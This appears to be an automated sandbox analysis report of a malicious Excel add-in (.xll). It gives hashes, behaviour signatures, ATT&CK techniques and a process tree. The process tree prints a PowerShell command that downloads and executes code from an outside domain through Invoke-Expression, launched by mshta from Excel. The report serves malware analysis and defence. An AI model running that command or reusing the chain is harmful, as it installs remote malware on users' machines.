Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    23-05-2024 01:20

General

  • Target

    a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xll

  • Size

    12KB

  • MD5

    ee6c79fd4247c2c265c16985c7459af4

  • SHA1

    7899162e9bccb0e16739814da2ad2ebca46a58b9

  • SHA256

    a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4

  • SHA512

    7d31f5e89e4a3bf9f51f7211f78d0ce07463a68bfc99276be4b99c17ed794726648c2012786fed9900ebc59bad042de8b31fe96645cf143cdaebef6ae84e9fb5

  • SSDEEP

    192:pL29RBzDzeobchBj8JONLON3qbruIrEPEjr7Ah83:J29jnbcvYJOEdq3uIvr7C0

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4020
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2908

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3FR0UY0O\d[1].htm
    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_thnbbgi2.dgh.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xll
    Filesize

    12KB

    MD5

    ee6c79fd4247c2c265c16985c7459af4

    SHA1

    7899162e9bccb0e16739814da2ad2ebca46a58b9

    SHA256

    a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4

    SHA512

    7d31f5e89e4a3bf9f51f7211f78d0ce07463a68bfc99276be4b99c17ed794726648c2012786fed9900ebc59bad042de8b31fe96645cf143cdaebef6ae84e9fb5

  • memory/1956-20-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-85-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmp
    Filesize

    64KB

  • memory/1956-6-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmp
    Filesize

    64KB

  • memory/1956-2-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmp
    Filesize

    64KB

  • memory/1956-9-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-10-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-8-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-13-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-5-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmp
    Filesize

    64KB

  • memory/1956-12-0x00007FF8F9930000-0x00007FF8F9940000-memory.dmp
    Filesize

    64KB

  • memory/1956-11-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-17-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-16-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-15-0x00007FF8F9930000-0x00007FF8F9940000-memory.dmp
    Filesize

    64KB

  • memory/1956-18-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-19-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-7-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-1-0x00007FF93BB63000-0x00007FF93BB64000-memory.dmp
    Filesize

    4KB

  • memory/1956-14-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-3-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmp
    Filesize

    64KB

  • memory/1956-0-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmp
    Filesize

    64KB

  • memory/1956-87-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-4-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/1956-86-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmp
    Filesize

    64KB

  • memory/1956-84-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmp
    Filesize

    64KB

  • memory/1956-83-0x00007FF8FBB50000-0x00007FF8FBB60000-memory.dmp
    Filesize

    64KB

  • memory/1956-67-0x00007FF93BB63000-0x00007FF93BB64000-memory.dmp
    Filesize

    4KB

  • memory/1956-66-0x00007FF93BAC0000-0x00007FF93BCC9000-memory.dmp
    Filesize

    2.0MB

  • memory/2908-57-0x0000000005FD0000-0x000000000601C000-memory.dmp
    Filesize

    304KB

  • memory/2908-58-0x00000000075E0000-0x0000000007C5A000-memory.dmp
    Filesize

    6.5MB

  • memory/2908-59-0x00000000064A0000-0x00000000064BA000-memory.dmp
    Filesize

    104KB

  • memory/2908-56-0x0000000005F90000-0x0000000005FAE000-memory.dmp
    Filesize

    120KB

  • memory/2908-55-0x0000000005AA0000-0x0000000005DF7000-memory.dmp
    Filesize

    3.3MB

  • memory/2908-42-0x0000000004AE0000-0x0000000004B16000-memory.dmp
    Filesize

    216KB

  • memory/2908-46-0x0000000005980000-0x00000000059E6000-memory.dmp
    Filesize

    408KB

  • memory/2908-45-0x0000000005910000-0x0000000005976000-memory.dmp
    Filesize

    408KB

  • memory/2908-44-0x0000000005100000-0x0000000005122000-memory.dmp
    Filesize

    136KB

  • memory/2908-43-0x0000000005270000-0x000000000589A000-memory.dmp
    Filesize

    6.2MB